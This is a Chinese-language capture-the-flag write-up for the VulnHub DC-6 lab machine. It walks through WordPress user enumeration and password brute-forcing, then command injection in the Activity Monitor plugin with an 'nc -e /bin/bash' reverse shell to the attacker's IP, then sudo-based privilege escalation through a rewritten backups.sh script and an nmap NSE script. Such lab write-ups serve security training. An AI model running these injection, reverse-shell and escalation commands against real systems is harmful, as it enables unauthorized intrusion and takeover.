DC-6靶机
仅供个人娱乐
靶机信息
下载地址:https://download.vulnhub.com/dc/DC-6.zip
一、主机发现
nmap -sn 192.168.216.0/24
![](https://upload-images.jianshu.io/upload_images/4664072-71a664686049df8d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
二、端口扫描
nmap -p 1-65535 -sV 192.168.216.132
![](https://upload-images.jianshu.io/upload_images/4664072-d46b79adcf58ac2a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
三、漏洞查找和利用
80端口
打开网页
![](https://upload-images.jianshu.io/upload_images/4664072-0769233abdab06d0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
发现其中 web 服务被重定向到 http://wordy/ 修改host文件
echo "192.168.216.131 literally.vulnerable" >> /etc/hosts
![](https://upload-images.jianshu.io/upload_images/4664072-4c4b803f3f7b669b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
或者在C:\Windows\System32\drivers\etc下的HOSTS文件中增加192.168.216.132 wordy
![](https://upload-images.jianshu.io/upload_images/4664072-0bae16f160823306.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
wpscan --urlhttp://wordy/ --enumerate 主题
wpscan --urlhttp://wordy/ --e u 用户
![](https://upload-images.jianshu.io/upload_images/4664072-f8f66b465eb5d94a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-ee53897201f2a15b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
爆破出5个用户名admin,jens,graham,sarah,mark 将其作为字典爆破,直接用kali自带的/usr/share/wordlists/rockyou.txt ,我的字典复制到root目录下了
wpscan --url http://wordy/ -U 1.txt -P /root/rockyou.txt
![](https://upload-images.jianshu.io/upload_images/4664072-eb13dab3c259383a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
爆破出密码 账号密码mark helpdesk01
![](https://upload-images.jianshu.io/upload_images/4664072-a6dce84c32770095.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
目录
![](https://upload-images.jianshu.io/upload_images/4664072-aa7cfee366d19d33.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
我们使用获得的密码登录http://wordy/wp-admin/
可以看到安装了activity_monitor插件
![](https://upload-images.jianshu.io/upload_images/4664072-3022adf803dc8e43.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
searchsploit activity monitor
![](https://upload-images.jianshu.io/upload_images/4664072-bb66cb465cc671b3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-0307197dde497b38.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
修改脚本
![](https://upload-images.jianshu.io/upload_images/4664072-a6f9734485b4a057.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
开启一个简单的临时的web服务,去访问45274.html 来触发漏洞
python -m SimpleHTTPServer 8000
![](https://upload-images.jianshu.io/upload_images/4664072-f3e6c4511d27c884.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
启动网页
![](https://upload-images.jianshu.io/upload_images/4664072-8f807d578dd4080b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
多次测试修改,为了方便改为1.html
![](https://upload-images.jianshu.io/upload_images/4664072-2d6703e56b6b580c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
python -c 'import pty; pty.spawn("/bin/bash") #使用交互式命令行'
![](https://upload-images.jianshu.io/upload_images/4664072-656ce8a468eed967.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
或者访问http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools输入ip,点击lookup,通过抓包修改ip参数的值为baidu.com | nc -e /bin/bash 192.168.216.128 4444
![](https://upload-images.jianshu.io/upload_images/4664072-3e2ff5ce2699e126.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
反弹成功
![](https://upload-images.jianshu.io/upload_images/4664072-b924f74bfadc1f92.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
拿到shell开始信息收集
![](https://upload-images.jianshu.io/upload_images/4664072-70cccd469ab972b3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-cdb3824ee07f5210.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
用户名和密码: graham GSo7isUM1D4,由于系统开启了ssh
![](https://upload-images.jianshu.io/upload_images/4664072-3a07bc4c1117da55.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
使用sudo -l 查看目前用户可以执行的操作,发现我们可以运行jens用户下面的backups.sh。查看其内容是对web进行打包备份的
![](https://upload-images.jianshu.io/upload_images/4664072-59e1d61e914d197b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
查看信息
![](https://upload-images.jianshu.io/upload_images/4664072-9f925492a50af6e0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
执行这个脚本的时候会以jens用户来执行,方法:sudo -u jens /home/jens/backups.sh
可以让jens执行/bin/bash就直接得到了jens的shell
首先需要删除
graham@dc-6:~$ cd /home/jens
graham@dc-6:/home/jens$ ls
backups.sh
graham@dc-6:/home/jens$ cat /dev/null > backups.sh
graham@dc-6:/home/jens$ cat backups.sh
graham@dc-6:/home/jens$ ls
backups.sh
graham@dc-6:/home/jens$ cat backups.s
graham@dc-6:/home/jens$ echo "/bin/bash" >>/home/jens/backups.sh
graham@dc-6:/home/jens$ cat /home/jens/backups.sh
/bin/bash
graham@dc-6:/home/jens$ sudo -u jens ./backups.sh
jens@dc-6:~$ whoami
jens
![](https://upload-images.jianshu.io/upload_images/4664072-d6439fe703e5a83b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
已经是jens用户了,我们继续执行sudo -l 命令去查找我们可以进行的操作。
NOPASSWD: /usr/bin/nmap,jens用户可以在无需输入密码的情况下使用nmap,我们继续使用nmap去调用我们的脚本例如/bin/bash.
![](https://upload-images.jianshu.io/upload_images/4664072-ec1070b26e53cb60.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
nmap提权
nmap有执行脚本的功能,通过编写特殊脚本,可以实现利用nmap提权(sudo提权)
利用过程:写入一个执行bash的nmap脚本,运行
echo "os.execute('/bin/bash')" > /tmp/root.nse
sudo nmap --script=/tmp/root.nse
![](https://upload-images.jianshu.io/upload_images/4664072-90b847b21396bcaf.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)